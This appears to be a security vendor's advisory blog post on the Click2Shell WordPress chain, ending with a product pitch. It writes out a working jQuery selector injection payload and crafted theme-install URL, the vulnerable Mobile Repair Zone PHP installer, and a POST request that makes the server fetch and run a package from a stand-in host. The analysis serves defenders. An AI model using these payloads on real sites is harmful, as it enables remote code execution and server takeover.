How Click2Shell Exploits WordPress Theme Installation for RCE
| September 21, 2026
Key Takeaways
- Click2Shell lets an attacker trigger WordPress theme installation automatically once an administrator opens one crafted link.
- A crafted theme preview link exploits a jQuery selector injection to force theme installation.
- The Customizer request loads the installed theme's functions.php, exposing its insecure AJAX plugin installer for exploitation.
- The demonstrated chain targets Mobile Repair Zone 2.5.4, where a vulnerable plugin installer runs attacker controlled PHP.
- The Picus Platform lets teams simulate Click2Shell to validate security control effectiveness.
Click2Shell is a WordPress attack chain that can turn one click by a logged-in administrator into remote code execution (RCE). An attacker sends a crafted link that makes WordPress install a theme without the administrator clicking Install. A separate flaw in that theme then allows the attacker to run PHP on the server before anyone activates it.
The attacker needs no WordPress account, and the site's original theme stays active throughout the attack.
This post explains what Click2Shell is, what causes it, and how to simulate it to test your security controls.
What is Click2Shell?
Click2Shell is a WordPress remote code execution (RCE) attack chain that combines a jQuery selector injection in WordPress Core with a separate theme vulnerability. A crafted theme preview link tricks a logged-in administrator's browser into installing a theme from WordPress.org. A vulnerable handler in that theme then allows attacker-controlled PHP to run before theme activation.
The demonstrated chain uses Mobile Repair Zone 2.5.4 [1]. The attacker needs no WordPress account, but exploitation requires an administrator with permission to install themes to open the crafted link. The site's original theme remains active throughout the attack.
How Click2Shell Works?
Click2Shell works by turning a WordPress theme preview request into forced theme installation, then exploiting the installed theme to execute PHP on the server. A crafted URL manipulates a jQuery selector so WordPress triggers its own Install control. A follow-on Customizer request loads the inactive theme's PHP, allowing a separate plugin installer vulnerability to download and execute an attacker-controlled package.
Step 1: The Administrator Opens a Crafted Theme Preview Link
The entry point is the theme parameter on WordPress's theme installer page.
|
/wp-admin/theme-install.php?theme=THEME_SLUG |
The route passes the supplied slug to the WordPress.org Themes API. After the query succeeds, wp-admin/js/theme.js uses that same value to locate the theme card and trigger its preview.
For a normal request, theme=twentytwenty identifies the Twenty Twenty theme. The selector injection payload appends CSS syntax to that slug.
|
twentytwenty"]>*>*>*/* |
Here is the percent-encoded URL version of this payload:
|
https://wordpress.example/wp-admin/theme-install.php?theme=twentytwenty%22%5D%3E%2A%3E%2A%3E%2A%2F%2A |
The victim opens this URL in a session with the install_themes capability. The attacker controls the theme value, while the victim's browser supplies the authenticated session.
Step 2: The API and Browser Interpret the Same Value Differently
The Themes API canonicalizes twentytwenty"]>*>*>*/* to twentytwenty and returns that catalog record. The browser retains the original payload in slug.
When the theme collection fires query:success, the preview callback concatenates slug into an attribute selector and triggers a click on the result.
|
$( 'div[data-slug="' + slug + '"]' ).trigger( 'click' ); |
Substituting the payload produces this selector.
|
div[data-slug="twentytwenty"]>*>*>*/*"] |
The API returns a valid theme, so WordPress renders the card needed by the selector. The unescaped browser value then changes which elements inside that card receive the click.
- twentytwenty matches the catalog theme's data-slug value.
- "] closes the quoted attribute value and attribute selector.
- >*>*>* traverses three child levels using universal selectors and reaches the card's action controls.
- /* starts a CSS comment that neutralizes the appended "] suffix.
The injected selector reaches the Install control inside the returned card. The existing .trigger( 'click' ) call invokes the installation workflow.
For the RCE chain, the attacker targets mobile-repair-zone with the same selector suffix.
|
mobile-repair-zone"]>*>*>*/* |
Step 3: The Customizer Loads the Theme's Vulnerable Plugin Installer
After installation, the next request targets the AJAX endpoint with the Customizer parameters enabled.
|
/wp-admin/admin-ajax.php?wp_customize=on&customize_theme=mobile-repair-zone |
wp_customize=on enables the Customizer context for the request, and customize_theme=mobile-repair-zone selects the installed theme to preview. WordPress loads that theme's functions.php, allowing its code to register hooks.
When WordPress loads this file, Mobile Repair Zone 2.5.4 registers its plugin installer [1]:
|
add_action( 'wp_ajax_mobile_repair_zone_install_and_activate_plugin', 'mobile_repair_zone_install_and_activate_plugin' ); |
The mobile_repair_zone_install_and_activate_plugin() callback reads the plugin details directly from the POST body [1]:
|
$post_plugin_details = $_POST['plugin_details']; $plugin_text_domain = $post_plugin_details['plugin_text_domain']; $plugin_main_file = $post_plugin_details['plugin_main_file']; $plugin_url = $post_plugin_details['plugin_url']; |
The request controls the package URL through plugin_url and the PHP entry point through plugin_main_file. The installer downloads the supplied package, writes it into the plugins directory, extracts it, and loads the selected entry point.
The following request shows the relevant fields using an example package URL:
|
POST /wp-admin/admin-ajax.php?wp_customize=on&customize_theme=mobile-repair-zone HTTP/1.1 Host: wordpress.example Content-Type: application/x-www-form-urlencoded Cookie: <administrator-session-cookie> action=mobile_repair_zone_install_and_activate_plugin &plugin_details[plugin_text_domain]=mrz-chain-marker &plugin_details[plugin_main_file]=mrz-chain-marker.php &plugin_details[plugin_url]=https%3A%2F%2Fpackage.example%2Fmrz-chain-marker.zip |
After extracting the package, the installer loads the PHP file specified by plugin_main_file. Because the attacker controls both plugin_url and plugin_main_file, they can provide a package containing arbitrary PHP and make WordPress execute it. This gives the attacker remote code execution capability.
How Picus Simulates Click2Shell Attacks?
We also strongly suggest simulating Click2Shell attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against other vulnerability exploitation attacks, such as regreSSHion, Citrix Bleed, and Follina, within minutes with a 14-day free trial of the Picus Platform.
Picus Threat Library includes the following threats for the Click2Shell attacks:
|
Threat ID |
Threat Name |
Attack Module |
|
53669 |
Wordpress Web Attack Campaign - 3 |
Web Application |
Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.
References
[1] “Click2Shell: Preauth WordPress Core Theme Preview Injection to RCE Chain,” pwn.ai, Sep. 18, 2026. Accessed: Sep. 21, 2026. [Online]. Available: https://pwn.ai/blog/click2shell
